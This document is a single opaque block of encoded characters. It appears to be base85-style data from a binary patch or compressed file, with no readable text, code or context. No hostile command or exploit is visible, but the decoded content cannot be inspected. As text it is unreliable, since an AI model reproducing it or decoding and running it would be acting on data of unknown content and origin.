zkqg7o3ifotdT@RmMz4?0YZ!)&u2pEdx|4MGDVFuHo*vFwEA^lTGX_3<Wq#vZYX9)1 zd-QaIjcsDp72q!zL-#}}t`-fxE4ogQdb;h2vF#~2j}Ijsx7?C!f<;$xISq%j)iwu; zGC1~|ov4Y`Qr25+_Rid%o_-;74(nQgL6Ru}A8a&<AOP?RQNePX8=`@`1~-S^zCq%T z?+d})GrB{DQ9Enc?cQ^_3h|AQszsY+V9R`H8__z8Q8-g?Jtq7`bl~D9XM?w*w(Qk% z@uX|TRSg3(m6o>>m8USh0;{{qoQ7V;S$n>w^JN^9+J90|g?CuEB&>hiLx<aeb-QG$ z8qm)RRWhg3j#+T9)iBP`OV^AfH>eCsR^7@B#Q%yxL#H)tvEpxf1p3UIc^D0&lkJj8 zXFi3sFRH`x6<)crJF^X6KOBwSS5WRmi1sPSqpgl_DmQe2XI9_rO(F-LxlaYFrIIk1 z80nd@hIqdRY^81WHvoEI1@7(bqwoXR*mheh)ZdsX(B42|jVscWsndk}igDs7nA&Zr zqrLzy;iW=Fpva0ROqoQhqt_Aumt6r!^jjpaM*a@DD{gO|IMfx;9$aGW|9ai6`u?_T z@zeDlOmBh05(`{vzvNsQ8y2w>q)d(H(|!?!jlFhN?!iBE7yf7TE`ILRkF|UMb9U-c zbZBzv=#COVz7oCm$~AMev-UB)Hh%8VUJr;U>8vBlnZD9zC!yN`qefgxpp?ThQ+H2x zm9uvf3P~=m{QeP8O)xQxxSt%f9%0=?2^)FopPGPHiGf}R(8mBr8Of=^a_7$r2M^|W zH_u^%8HXt?IW`^{t+?2y2cX+i%lpW72Y55*rFGhcL1GDTg<+4n&b<#7Qn<uRLss#T zwfo!4*lXy)p7dyAp{UWh#R-~ACq8{H`q&hvNe6m}Z1FRqzqWM8)z26mfl!O<K2u>v zul)g`xTl9o9^x6AJw18_4*HXN#RPE34cI#X=Pk-4{w3MrH~;qA{|D3qP8d4TF-Ek& ze6f>N712sQC;UyWymoKsSeLZkH)^sWgDGo%yBYi8jeR|;Y;E1|9|$hlc3H_+A6jQ= z&Wr}7Yd`lGg)J4O5UjrrkQ28odiz?^$71vit>l<5p2OVBj+o=U`?2T_+%lsr4c+F! z1f^BQVgwMnw^iEb9+ZhsjeV?n8h7hewNB`q(-^#YWo~A_ihnE7^3tMZUY)C0W%IT9 zQas6wVNlZ_4J)!(7N_Y7!F`+G=5;hXslA<a6bn>gGwX&9rFW@AQtNpqsscFO%WS0E zeMZ01loLo0a+4dxWDrN*xytAz8tAS(zUgb<l$#iS|4WW<S|6r!qFPg$4vj2baJb*~ zw~=eHP#3Ts+<YkR@D^HW<UbL97du%?1N&IfXmJlJcPu%viO>@JD|mFz{z9~Isa&^$ zKG@jP{YS#4th?0`5dy7|^{^`IICjm$KOwQIZiq&p4Ew{r58B^OI7tsU=|nRG<>8V5 zt_*XlI@gFRTX|sCkL)|l6M&~V2g5VE?lQ#?)h?Rucxh?zj=XOMIm-5I>Ge*JrmZ9_ zHXTZv0Hr(VTk7gMpj)k#;z<GBs$>21+ta%yN;2FwGNW|`XG%x=_|%GXZjT<QN@om6 zJikjdGADNfEA6X{$vIc)1Wgmm)Gyhpg6j{Sa!pRSwtmuoQP$MpYF9(%C&#CpLb|S= z;vdB68~*zH@Gv{ai}0})jXN!T43<QnW2`-mPNa7Ev{1;S<96Lck%tS7(Cs?{P242( z_#(Ye<Xck#TX%}a_Jmr7_>Q}cjQQQSi+#+m>Z2vl&$%+_H#SHljVNq60;$Z5m$+-L zYzTETh1PBxCaWX-1b06AD1QvzD5Qr-y=OD9Ej4emxnn!;-I1%cQDxL#9>iGGKDuB% za+cfTyq}T^-L{U)IiC5ZIe&-tA8*f}%^x}-0__nMp|BH#D{icDd0J-(MH3W0*>1Y= zcE|^i(K{7<dXA24tqaqEGmIlvOIca!B9lRgqDG0X-ISdkX~>M*0f@DW4A5H}DE4tP zoXEjzSW=NsE|6vnn7w&L>Ag51)(vrz=k?2Ph^PjRl`YN*j%^Ny3FAM*zoS~*%Gu0U ze|n_erZqOJFQewuig!=$P1%bk>z|g)iqe;fE$WqL+HeZ8v*1p5w+5dt;R-SoiPl{$ zy|6>#5%a<=fH>*H=v4aOwS4}Ogz&F=T}Gj^bKwYdL;iyQuLQJ&vtmb}19$HIEWm`= zJ4e|PDNx_KEO+%cDY>HW_D*y?srdm?RnHQ@%u=l#=RD0X`dW?+<5qMdI0k-IWj5tH z5jvb;nJx(AaL|}>pjX?zjh0naw%R0%Kd_*DCy1!j)F;(V#=iL~!}@2oH|ZPm07%%g zI<*pAj&cHR^416qb~fY0`A3dC904RtDUVHa<l(04H<QS+qi!Y#Nm`kA&R51WMHmHE z8y-S$@eXyx#e6$S=Fb5IAddEj>W~R`Slwk}C+u*E8Bm18(QV*bPuf~{Go2tx3#e(r zA1yElqM)}GUqKhK&XhaJ%;YkAVqyW>(*YJb_Swr|R6=@146!FYdrueIla!x2`V5J3 z4#r=y%);*<{!8)fsh=Xn|5dvAzooJKkCb9%DRfQ@y}5rvFPLEO-I6gn5iIrMc63Tt z<rp#6z2UNpd!thewi#2{+?|Mi#=QGbvwhrw3m?K;M||C2r7N-h4KwN)*~Y;pvZ<*_ z&-%Wz^=9!!D(VTO+VD_AoM(k6NPFB{w?fk9(-a9oo`(r6;WJL7jtA@eySwfyGKcBW zU&@CT*L1E}veh|TU<R8wg4k^Suw%O2ytjLPX>9Y*j!&hJ<LzXeN)KZgzmscZZ0_ZA z)ARZM&n@*@b#gUBY$vx1-Z6Ux)wMQ68r>E*d~^o;#^Yp)&{9D?G8@zMl#V-#dgyt3 zX!V=_jJ~b*$x8Oeep7phyl&uRaR?5VQ@nvD{i~DBjb<ew7~f(<%YM#^H!I$E?62;^ z9c*#844TDdH?*#>)HL$#6FzYfQjRPv2ToDR+K187`;>*OP6)Mq?Ze%ninMTl>qXJ; zLX&8JIt^_?efq>Wem4YNR$cU$I;;T161tRVdO4an>ADo;icB|%O_gFFWwOR8@RD8` zs?y43J3i%2o?FQWI+rWZxfUEj9Ik)xR(WZ`UEDg<j%OSeKL3RIY20cvsg1@x4ntMX zK#T%{ix9@DQ^I#9vr))F%;lc!y><FztjY1?Sng2n^?z4Ep)c{sN2enVN^r%b7f(CP zfMDL{^`l(Ji)C%%m)ux2r`_>NJ(Y0G<(Ip4NQ%RxEf(04n`VucCLZZ$(3N75PTkBE z3eVo%mZuGi+#iwQ|4<LBVa?2(Ml7!AVv+F*tTikDqMg^*C@U2$Z|eMr?`>B~_fqg~ zzK>z4$c=W{aNb$3-lDYbwutiBXcLT_^w>v9f1|(gsR**X;lz%=oHHEO8zc(x7=IM? zYU!MIWQoB#BoM?D;|afXH$7=JwDx+so=Lbv;?78RfvKZh=uKI6VWSIrw333Kc;<*X zXp3t$^9Pj`g>HV!<>c<t?PVn2rC}wpwyHK9XS=I8Jyp&3#J@fpg%orTOQGpyQ|^n; zN`#-5hXVFR`nFWM*VOLoTG?FHh4@;0xAq7ec!omS)f>Her{?}i+O9d!6Mwzu<t7)f zi@ytq)q(!E{%QWIODFN$cK(|u6*7+{iyLsY-WglY1FQv$|7b1fSG<ca=ie)hFaIF9 zlxyB@R5q-Iy-|nVee8V<Y`$H_MDo{-yh#g+!!qS}Wwcq#WV9@o)|1ngw#?|bF2{0^ z$9yP^77C5)=#t4F(Bb4Bqj4JT;r~-g@W1ItRH6&T{cG(NQ?sK_n&OJH0xLQ=Qy=6| z7Ie};Al+w{RPcuR8XH>SmlW@dLTDY&^3M5Nohhfd=Z0ecjm~rJpCvD0Muy6d<Q|G6 ziD}eHu6SuD0fm4w(X^dXoIQ+)RUu3DEdF6Mh4G`^F?f647+`jib04krL;MLpzrnOg z(m(&N)26tehRS@g*US1OHSG#@KHPL=g+&iRImYR(ykNSJCaHSA`;T_o#;TzCyCtx8 z_s}fOX##i3klNIB1PL+Ylmo%2)?xtdIcmqy8Qo-R52^9fcN_QtS!X`Jb~NGrZ@F40 zcu882T|}w>oP;W)U`lqvRZn;utn&ttwiRAn16Ztl-v7@(0J5HG8`}A|Bi9gZ_yo`- zd4}$6@xLsvoApmI>)CAJnaUx<>Yh`mC$LO8{HUh=&V68uqTrecOLPU%{*d(;e}2H% zVg-}|;1=)+U<EnAT@unaSxq%+;Jq<?o~C;lr2j`{UjCnHhaYRPKGOiw4kt9TEi4Rb zu}?UtyRR0|x-L*NYu3hXzUaFaHGA_<7~woatE6ED&GmE>L(BDjTyg?&RqkXt4+|9G zx@$%F3!0gdC=c2dn)=70<F!}Do&tSqXZSoV(6^rLp1Oa^wfJ@#Ng18x(}B~&mZq^d zLR1~h7L&!Es$DZ>;X<0X?0i>zJzrds;finEQ~bEltHPJOXGeIs+4}U^NO^rdVnGag z{+BC_4OKRLzd`=*9Yg-vG&LJIE5{bO8Ey-x+P)%sGDT|Lz;B370ItIvn(N^P&P@{m zz~pz30Eoz7#Q%-*>FK{qs@>-K6^X9=ikJ{-L#zfp0tEoR1oq&KD@s}1W%m_+a|%RH z-RUy=9jKl?bRr7dtNOzhX9_w}w<Nk4cuW>LQg<TSNnDHh(q0rDI+9Yy&C>h@DU&_7 z_0OGe-TND}2qT>7&v?dc3}4NIYNA(h{u3GzfDQ)W+WIRm2v7%kh920DZpHZ%NPii$ zq8ze|kOPW}m19Q7{1FKB{ipf%UozkRzib|eHo1<27A1jJRYt@y*@Q5T5>ny9bW5x< zA*ov~8b);^_~{TNp-J9x3NyBB96N2Z@8Fk7Hg8cO>1R|Ql?(X)igO}zRR5>-;7{wp z|F^6M>mtzQ@;Om%w&zYJvv+Yh>a4!^87nk~>Ju2U2saCxjzRey?bg@Y1fOYP4XdL2 zWe%zADTV!uCGk$r<wA|ZE_?8>`&uwJhj<1PT4NBC`p%q~UFgC56V|Q8=75c(`nyfO zg~o!ln~_ddB>}eAis6zprbYrC@1pgt(a`G!t;dO(_EDH8m@;f-shMrOg)MJlIMLSH zRy>4O;s_}a;e4V$1;Med8TzWRz@7i?OQutK?V#y^=I6DB+2ppz$yqT54*9xG2+CWn z*~UH@xe<eYAG(S3)g${_sfqU^+hv@Ub<s1?ubjYh|AmWAR{;btq$Mjwk~BsojfC=a zuXR5k!yZm7pMJrXJgxt+q1(A@_J?jTxpL!BAC1C}*YQ_Bilj$(IL$oLz-gJAWqsT8 z!sa~uJWu^F<a)!y?xZ*=#r)2j`N69rB+;)81M&8EeGG};h?!3jDfr(JJ9gM=BnLvW z@tbfK_2)h^<(2!`!xHA;Sw5y1xcE)C<b$sX{vx25J^KdEr)271=M>{*JSK@PDDQUN ze&nl1_rU<mN^qBGJDU}aw~X>5J^-dd^LbU(7^-(Ag4?ZHmR;A%5w>m}gIiItmSAeR zn6~>JFs#l2H$n-ZNwV&YR6W@=Rg7PmI%jYqHJ3?jV|+>Xo+hI-f9j>4cW#fjr&2SH zuj-yE$FUg3zn+;ZyIj3>*}5yFowWNnow?(|zogNUuS4>Zrabo3MT$Rool<HE=Z^I? z0?vYf=d})dA#e!#DJ*UJ*jN|H+lUN*KlQ-B^Al@3rWehrxR@#G{{zC(DYGY#j<O!3 z;ljl;CADU1XtL_u#B|FVYcaz?V3&eF`5B=}TzrGvJqGLs{lxhQ97?sq1zMqljzZeD zF;4D=!{9<+hq|9QpC41A34Y>yeqho5S8zV3LeU0T(Aq1eoO~Gk6TtAln=Gz6r_CH& zX@y1q^<+;u`!R4xWRtgh%`18yY(}7xs8izhX36WZ)a-J-(AKbH+mhaTjv`9nhAqXa zzX{ZEU$SeXD--*L2;y6K^Lph9Kf=lF-~j5F=H4wmF=D>CllK-9`Lv4rv?M403u4|s zggUPo9J;>RvfM+IlQAqt-M5xySO}9MtE_(1)^`rm#;(6XfIELSua8->Y|Ulhez<7k z<m^;SVJJ2G&C_0i>GHT=hspE(%Q(B`zem{Tzenq3hQ5(bb~XH-=gQA?1bX{ZBx~ni zu0~DOTpMLD^LbFPMY*q)CMf54>uK(*7?|KM@zv>Co~B!gS9acDjzM83HKd~Z;&k|x zHrQ>%>Yd$3PuM{p&JMFSU|CX)$yNEkMlISbgGxiX5C`q<G~GWW6U+39X<GEzs(rbN z{d?!3y-x892bBcv&9R6#gI)#D&BGf2y8O_@M0)b#_0e@H-c6Ttxk>dq+B4VsXikOF zQPaK_O6ra0Do)WD^EqG4Prq^wQ=@W$hH_(9vehQwWEs}plPCrrEQ_m%>bu(rKxjNK z(z&Zv-M(k8Uwe`tAnLMqn9W78vcu?Rm2hm%Va|2s@@8E|lTXm~qf=1|4gMmfrr$#V zi_qd3A!?x6)d7QW>>8X4(DMzjHNaZJ?RNn=DN}^lPVwP&z{ipxN0)ZqP|hNpUjOTy z)lkgzlew;IRHoPUqeA90(g!*BaEdeAei!4*r;zG(-Os>less8;M)pn5VLYNo$p&n{ z{n67uChqxc^2zy>W9C8i@n&jlZ#Op9@XN8N(lQ{b<R_#N`H!MX4^gQ6X!-}8L44SY zO;*>xJkXp`+!9X6+G@$Y*ZTEq00HU5St6bWQtQUh`V9$b<4GpI1^5z+H5mX8kN93< z+e#F<6#~Egniuo5?R+0;*Tk`wvLm3STp!QW@?W%+&xT}Wer?iC$u2PQacE(VvGCOk zcFlvnILoJ3WjKFXX8|{3P%KsCVoZ6oX48-4oPv57jsy1b<8%O<DEA07vlBb=PuAi+ z{SWLm<kvrSdYuDgA`<>%bb7haL03i5u9<hy_zpi7F`7It@X(TFB0so|Ti1MMv~>Nk z2e*^9@^w)jnraXYj%_KRE6&IFlYgvj898f?=qg)>$4oWDxuy<d^h$p6kIA}aGW7|) z8HGAYmJoX8tSf9G5Tdc!C*ZQNn8!c)$Ho`8z^o+^+mVt(zLxMi!ow?V|1J9TKg`fL z^XSsk;rGx8iZ`MqVHKg7BSgQ`xk;fFkujAi^Eom1UTzDVRQx^vt@H-6@XdAn0qEl1 zce}h?<12Lnd6{aA4(q$@{F;<kn!5BzS4SJ7pqgbj=jv7r@U*b0eWC-{+7x|TA}$b! zCOi;kuyU^Fo9>g7O4RMGM+?<^@0V9!9#qVw5+~Y1X*!ZI{Z8f%Kth&3>i}!2H+g?D ziZ8KhbqRvFq4A~w;@x57?-0s){#{TACcb5nM8)m1laik{>(BfGyFJuN|AlUR1Y%B1 zN7n<Os+On?+BleMmekM!Zd8N@Ot)6@-BKxvBM!!>TgVMtrW{5~+lh1CPox*-up8L} zP6!XG_PL_BL=2z84+^)c_TdmmSr*c%UaxO%b!dP3K3`?XLYHbo%4pGJXgKZc_g5k% zuj{#2ma#?_z}K5k1p1_(_=$`xV}L2rw>KhG!sq-m1@SWlK|I4AR6|zr&rd;QUjCn} zmvS(D6ZE4+!46SYn)9>E(sCCh;MU0MHIR6ao6}w2Vs-URkZK&e7v{!PP|WuOTI;i! zM1v_K>DAn(j8P-q29hBy?E{}9n&f4zF7eh&n~I$+BYc;ei>OPBChnz&92OtcDKY~V z?H?t_x*RQvm|yIL>8^2kS!Yy7U&{X>vzr4Al{Yiqu$Qve;(CXfd!7AlDVom4+54Yw z7rgyEK286{l4#`H)R{aqbCf+Gr;sjK#Ld7(aphS!x3zjrw(<IKb38Mkise`@@(GKM zM0VQkw!&e?VF~M&@KSssd>c4B^E)2G3oWOjrtRLcY+`l8sJbX$w`ob|>X(-Jn>s;z zEtD0Xf1Epar>34~%Kv^YcOsvu>=olam3Up3x3Ii}2C>4pXSMA`@sWzGjg<KDGNrTe zxNnQ3qDyn0^m6Q47_^69(4yv_q8!Hv@k?753JpZVZC~Vm;Bf?c>?YI6#CFbXrh9N! z>W3ye834Wg0PsgSwnRMwvD7YqPxL<fucWj5B?=3ATPw5Q80*E+CvxE)L%PZ9i~fD| z4Q(_^o84Au1?>vanN%sBxCW&M01!R(zgbmnX5^!DlfpowA>Pe`dIWJQ?4O=~9t~Se zGj`%8x7><@Z{<W=&%oCA^k()CdF!7ai_HAZN(!=>whMUa$i)2=jNJ>5o^^@_7cIM1 z&he}tw3Y%)6e5`SPr+Cp+@ja}!VyD{Tw0Q0_1wD=6w8itSDAha#{NL!_`jof`wv)c z3_dNxK_-)nj5Gz(^!%})TUQ2E&+?83Ccj|siqSW$I6<|dhXEaGIVZ!M++2Qe!h81) zHB1|!_rz#b>k9(&nHJ_=s0{RSH==2a0ZP}lFFbTkgfQB7X@BUj5JJ47-qQj;LE^6K zSYE2S{aD15%O22^Se!2VHz%oH{$#fQSAW6(WM+FJS{F2f6R~IAnkQ-4cJ~wknI6+a zi+Bw(L4CF7A&)9cH6+Ts2X~W$Igj^!t@+-;S6Lf(WvPl614_OXhwdw7mpI>d*mizd z89d25lA<$umg1K0*(X;)L$7(pVKc`Z!|%GNeF3k|qOv!=^Cb^ZV12}L=5_QIE3v2J z&@`Nj5X*gxj`-7l1@!vc6WmWVfP{fgC;kZVe{X8?C}l^^3Qb|W%17@70ZXrCIW3#J z#PT+5s(K58#&A=0rK+8e(Fz6rt1rYV+7d-^W#7m2(XZ;%<qUlPBI~V6*)9FOay^yl zwV^GXsMh2YFXry67(ELOKfM$axpvx2)p>l?rso!ZtzXz5oOe5@E5!MdShD7OtAU6L z0mWUM#sx37@9l=?oS+hwe<{bnHd7WbTf~7}rZf({Db5=5jm@)^{J__xm#EX;UQLaW z1EAT<Sqyk}`E~f($cApOf*Kw<X5B<befd@l+3Y&l!0H|Ag-+|B;q%Kg=cP1f2t`Es zMUPQ755DXEdY1jGk>EMl=szK2r2=G*a-eyELL~?YqS_F8a3hYO4LotZ1HQOL1l@@$ z9bEPgak`k<pPi`tcklS1DPfnxxIZON89?dQs%me_5G(J-hyB)|^d-il3^rEZxR>wA zK5b9yjV49cUgxZu4zpd@x}qiFw_5d;A@>2sZ5eSX95;!a$LPIo^W(60iYo+(jMt<v zufMAzj8m-p*wW^%N93o9MHzo5#Mivpiq_@W0p+o?&fYx2nT$5=ZP8*@`^TzUhdzW} z;y^pcQ=>uImQ14Q%jetEG;Qyrmm4UkN0Ttq+2_hXTWHnmqqoJ7A+L5bOoHtn<-q=y zEvvz*KvYC4MWa2Q-9mIDhKTklwqyr(_ea686^Pvd$Xe^4Vq8(FkaUo7p75x$Z)(+P zTZffDnqGH>u+24lF$cx21zMeIs_)vRc-VMdCO3<L_H|f6Qzp~UopS4PR)5L$Y6OUA z-hVSXSp=Lelx9p2iOFTNU~WrW*J7*DiYT-xNUD3oBl7wZYXhl`gks*IIRgA5E*w#D z1PY&Yw38FVxPZ(z{U?{1CHfGjp^b_j>7(;ud&NG3Bez%!a*3=Ot-oLZ3eIt%<X#Ci z3H?l!_nU6jgc%aCac_`&Li%XFi;ySP!2=AAojjGY)B_H{k{ic<BkF*RSsV+?_AR&5 zu+M@0G<uZNc0$Fb`$qCdpadImJ0J?3Ca0p$;D;FKhJM$KhaZ8K(viv;-E#VbB!`6= z;BRHZbAVc$98y^!J+YCQ8~IvE$S>05!~!)fx7vWLswiO78h->bkodzZnM5DTQosdS z3gOjs1QJGk4L~Z#iV=udLx=dn53xfK;KNXg--~?Sj2=_q5_^_CLOS5&zJFU7sce5$ z?F_(gGh5KvV3q~WRa=T+r1AoN0rt;l1ugwwYS%2bA<cc+e(<D9M%@-9NZ7>^(lijK zKR0tRAiR$%-@YBsgv*^tnrdLu8(*LKQT#y2D6jd9b;(U4A~I<Lm5-)}ZVehp-5z-e zs0dn5?z>1Ea2VSiifx|fijcdZRhZ`}uW?G8cUXk{b=H?PT+w(9M6*PQb>sxza)7ZN zW>67#1Qw=#I;KDFLq;##45Z<PJoK`n$vKM=wdMvztzsNgg<oS|=~UxPoKhMqy<`hN z)i9&PnMWdNa(cc5uboD{$k}e<v+r^ZzmRnkCP<ce@uk==3-dS4#Ul{X=s+GRGZxi1 zp7pAib}<v^$4HXO&rBY6Ro_W*TsG6!|L{c6R70^ZvC9%>w^3MLRaK_)e7xj*ppS1p z^VbhHSekHPY<Hu&^SJnW2d-_Kd$h6Nz0W5?N=pY{^U#Kn$W^=59yAAkco|o$`FyJ> zPpB=*FnPB!xQ<3Kz_jf}tmj-i&v+n~Ku{Yt9pEtW4e<S|x|D`IrTk%j$yI&6_4&b) ztDmr3l<60~<a0r9lwTc86ii5r%a};vk{a*5^Jy-s@-r$h?I$<zBT&?|0ELfxSi_$< zw(%x5TQArlO)pq#-4AM3ho>pvhYQn*JAO&cx?sC}&G?T+qN-ERQs`RDGnInH@3reh zQ+H+ukf;@0z3z4d8WI{b6N{sU<0Lr7IWE<Y+LrsUEbhUtHB<DLi`yQ7E{w^v=k@F5 zw8LWW<KSLwM}WtbnxC82+DMK^+E<wv9ySkiWXsv42j9WKuAv0+q)AOxV4G@WSS)d3 zJDGP9tB>@uQ`6)Wt2vZu8s$?4JY;e^JtvEzFDe@b<<?|1I4cj%j!N<R;@7cd7(6*O zrTgSLbwaiV`0XBTeTaR=Q&kx3^J?d3Eg!N>uIyI{bo&z$dCrV)GI~)>no3P9wdUkf zr|ik9mKtDB+nXSYkq4hsUJF1Bp4>&?Ic43e?*%nq4Rc)6YGAyAElI5u+VbUAkwrtU zjW`!1h2UCS0O~f>#(m32+g8qz9(9lU(JEtfQjI-k5X60zhZ64t{<q#YZv>>xCrypY ziVC3~mrtoNf9NkT61JOuUC-Nal_shjdxHzPOCy(OVeXXAEw=X`*Q7i7q`G#!_lvi& zj=W4y8;I}m>4~1;xtndCQ)Jk+U9Fb_o^LZ<cpd2DbVU*WWtag5T@23j_}+EKH@222 z?>xJ{k89-!^iDg~Vbn*6X>X3Aiu4GSIk)0M&Y<kW^!euk1uV=z7vo<yA^*V}kLJmX zYT{UL(ts`4>TR8!2gTq$!oR&RxLT_cFW<d<(^x~a0(0u6uNCVeu=)XN+aJj05c~*E z8*k-%rPYeiQ3zn}Hw27^q_5%oz(le=1YYCVyX_RQ#E$d_Ct%a*Jcih}MBI!QBW+>) zC%^Zhx;vYr^!}h1tT_46(7oY@`58iyG`2Mv=D9g5=E1YQ&(l0a-iOiQWDC9>?`Zk_ zr7{CtWqAa018yE)B9vu2=Lob?as-+*-jD;{75EptYr?QN<i_>cWwA`4;@RaUY8ai# z%U~;BVJ~Tt?ELJvHrW^$3m1W!p+mZxXX`15P3Ym)*nzZAq`BGlok;Zs1KMF-(I=qV zOIa`pc5JL4e_Hx54m`I$wJwXe8L$Lw?1jTAf`MkSJ@eKT#iN;6B7F{Q6u)~=dJuBl zsu7I$W~2@m!TT`aFpXR>3do<@7dQg7&ooTOA4rqdJf*m;vjT9z#sL4T+K%799gXxU zih(%<m|2(xsPkvD*q3*I?;in3U+x}5`WT{J7`|)0OLyF4cU0f}xOb%@e`*V`+lX%t zXcFFu;`OK%`f+FF<VO0KaAEraLepLH_{LiZZv0;V<Vau6fFgbB_nP*9l8^hdIe>14 zG}!;C&B4l4$&@;9_@=Q0BKuJwSi>Emke}QJZ=B-~(A<}EoA6<hkkb-%YjU7kcO7zB ze0!;7&Uk$-C?skKMW=AB(Tj_(DVJ_ttBx9^t7Oh)mhK)kx%U0qS}1AUDbV&c4sxRW zlIq~)k^3w(uT}i{2YLyf-jRIk`YH}c7t_TRLw;|4<Z)K!r5B@fW}ZQp^TjJSe>qPJ z%Um2&xCIGeqHTM#x7>IYjhd9{v?nP9+is~3a`qm5Jw=P~9cqk(T%R8g5o7onUzQy) zGlFec(6aaVtI;)`VToDT#G{v1q*J~nk}C=(+7v}SDITUNvO;5yp&Z-__o(!ryl6aC zv(d(&^W%#G<BkaLxr9{MhE@}%IrFr`*#+}pHXH^%J=2e$b|dgV&BjxBaWp1N;tdY7 zX>+c}3u)6m5wVDSwbnHVK^`c-SAxGGfjEv3UMFnM<5`Y*uaraNq>yWxarmK;h3!gL z$*ngv&aB0+`v){4bc<bhz70RL#-Fm;*dpEB&VBRan>5z>0PCI&`LxGYXG;uGJJT0- zlU+yiK?^mnNLUk*P$&oDa_2Hm_SPC!@EpwW!E&ku9&D&g?Jh$D>175mifh6z)QhFP zF*7T2?9}z>?=Q7llVl9G7?v~(lb4YclvdO^V|=>T)S<-xeta_?aUNYz<GuGJLyRE7 zmvweJC}t$~VMfEj@2hHpQ$sXYil<YJ8>1c-2A*|aAwAV~EzXrNxj-}f8*NRQpI*?i zC0*oJM&pI{;8Hr_TcqP#D4Si=ftBzJfyfiwa&X}=c7$KuVQmTx2FPQVr$)eTD@}GH zmTyiA(mPvR<R(7CCB_^4D1EMEm^>|gMML<<_bD6cT~G7(UOnveORr`a=)C#&UVUIc zm!n$r4aR5}+WEnwTlF^4!5c^W+qQv@w;Fi`O=W*vpT`}kH;%AliCKQO{Xs`gE<Qi) zYmjdl5f7Ds|M_cNk%{WhN?OfRht$+RuXAJv5r7IwL$<-VPe4SV3tdQKQ(h#^aFVi5 zp<snrp%Bw34I7x}KUrcM=RmoDorU0csO4C5%M_7&+!z12o~+*&7PqTqabG^RBP|?A ztB%`M+dDts`>(6<&wBX}>Mww<%4=lck!>7fr)9BWhnH{g{od_Gj*xl<yN6fm$4M_c zQTvh?H&q8rE;3!`*I>XdiZ#!B@_uks+=p@btNc_r5$3W`rVR+=+Wdw*#>?VP0VQ&% zxf2Z}m9{#-xp-M`UwGh?Yw8lksEd(6fO>CrVb55dyzI<qv*9<YfvT#$@N1Px4zpo` zi<LH2(Jy^f<ixm^X|kQN`B;1}`rN0Gf9I{vST8MMD|Nd$GT9Fj`&L1ir8$1Nvo+y) zIlV<#uiO1XG4NH5O}u_gPfL&X?ec@M=XP`{&eB(bm<|-gbIwi{U)`jMLw>9o(=opw zx%{2MGhd<*%KSz+YYi5e;;E>%f=*X++N#M%kgd;#MFt|SlA^RNHN<H_`GwUg!XtT) z6Js|^HKfSZGM|I%AbbK__+shW8U@;QIFjk0PlW-r$%cW1(q%-n`NJxS517Y0ru+w~ zEbc#iaT<E7L0d*RRwprZ<D-39WJ&|LY8nc6Tmo6x55?JfX$#}Gni)gafMB<|J`heH zOw33s3#K{eaVH592AvT5R4k^lZ-&S?0=f4c(EnZ{e(IgKHE^haILzCT`?c`+jQ4Hm zkkO{>{uXpX;@84m0{Tqg>hV3oD}zTMFN)tvAl1aI!xFIK5eRCExa#&>>D13_|Np*D zf^m0td=A$R7UF;FCe<;QMea)6o5|aGOjUJNfhLOHdiLwPxabI+Z>$@N6y`wEGd=>m zGM)r0fx_XqhX+?r30}h*G6&DiQta>0@0;fx9DF$ffzN<s#YDD-bar>&AP^UXhD?F8 z;2mHssJV;Z@z|}T58<v0^f-^Sg;Ps+Dfc`ZIY7t?PydRtlC;9(0LjkW;`2#i4{{QX zwWvV(O2j;v0dvapA@@USXxMO)y_MdiQ=bi~Dmr7jVCyI(&;d)X5+}qlXY_(!yL&GI z1XGC9z=<Jsn`kw=2}vahEpl0WmUo@?MsctKUgnfQu5D-OPBl@ov$<E2NgK@4c2=7D zF1vs*<>mP3mv6rr(WO1?EMJu?>!FP?xxqwJxo`cZvBkrZp?Okz%$5{36z`m75#P7D z=k!h|Z}ZT-TCB`fFEuyc$oOJia&JftN2hkm*NDk0UNofE9WUF&8I-q`KXz>#fgqZr zLt<ukZ!w14rk>W<eb*qE6;!!nN;Vsvq|TN4)viL^gIiT-KR87*cj@v4{ftK59GIy{ zc~7`>6#w^xs(hPCaR>`Zm|sw}^mss35Zrp@p@wm(gc~^LTu}g#>cVyV;*o*ZpQKH% zeId?G8jRDup%P5OOZM=E3!bU6ppjJAIzP`Q19y2SX3*!t3`co3B4!(L-d3AitK&>L zl~_u{H$2+#+*`LR-(k<KfC;Q&E6Q`LqzcbH-0qJOcsL=xeS^l9Q5b%HoSo_EzvS!e z|9+$#I6;5Ht19N;q`1BVmVtOXbmye`EeH2RouAUhFLAQ1cyUK^>sn&@Z1A>}NqI_$ zCWrgeTIS1Tk1U4I+WOkYKdceDTm`<=KhKh>fuAOgSz_bEMYJApS`04a`m*VaapCiu z8a`W5TG9fM%+(__re^nu5As-Ek9~F=@^G<8hUIMzA#gW;C0|gxUv!ixZy(syApZFJ z-pnwy?pd~Ba!=}bYn7xRT0ecio+&G0HJN)D-#j(Rv&N0%#aDYnO<<G-y5^2H2@3Z4 zI-{r0x3_u`5$ASpb>y0<_ueA7rdt#n`FZbD&^-uX4RQp!qq3k1*Mqy}EY9jVw7>&2 zos|@}RGDrV7QA-x@hN$SLEqF|BFQ6omG$5@6N?n0RfYU1&l9X>^3llYm|*9gMKZQ! zss7xQca?9Ib!e>ynAb`3i5f;Qu!L*Jd=^fJB%bTNcNllYGt@E!lV!AKtEN3g`OV|i zsybiD$I)l&gQ5;id{X%0Z@zux!3ye)5n$reGGVW==8(1~$tmdvPxU0viYtuSf=0^7 zH{;WuU*8*oon1a$)>g|&#%$m>zuW{R4l^c+*?Yk^={0+1$~Kwg)s-(#dtVR1SnSt# zO<ql0vi2aEofH1DqD)rAGkrgBzHx;+FthHIF>9=6PktL;SKqxj7dL4ZD%!lr&=QXt zz4{)~mqWpVs+)^yOyg<~mkH&u1L%Z|1^~Y7ba`1k@xnuY!L#%L_^k0F3%dxMD!@Iu z`Z4VK4BLdzE=KhzB6fixvM9Y4+uYp1mT~2JBBi#{x}!cueUD+gTWSXMMbhvjT`-UB z^*V}>c;-7q4?X~SE3$PL{5X@|&<V8-n6`#zBvbwDOVP`EZC9CDeQ(o)=60fA4xc6= zQ~9#(NXV6U7<q9R?_rLGw(uP)R+6u)cR#hu+-A_Z@?3Q8K}q-Ewj=~nN^vVrHSqN( zT3nuCHa7OUXLPS=B+YefXD^DHj%^CNw5SnUYO~JTZ_PjIbY*u*ON|K`KHvKp3*uu? zc!M?YrK5qrs@b$JMw~~uNQGvOZPs%q4%oxlx}u8tZ1d5{2b95FW@l)Oh=*eA>-ZI* zokb~eYD<*sOxc6W6QAkng}ubZ&zo`aQaFxAA<hSF_-LHs51@V+Ee#iHbGN)hIp(|O 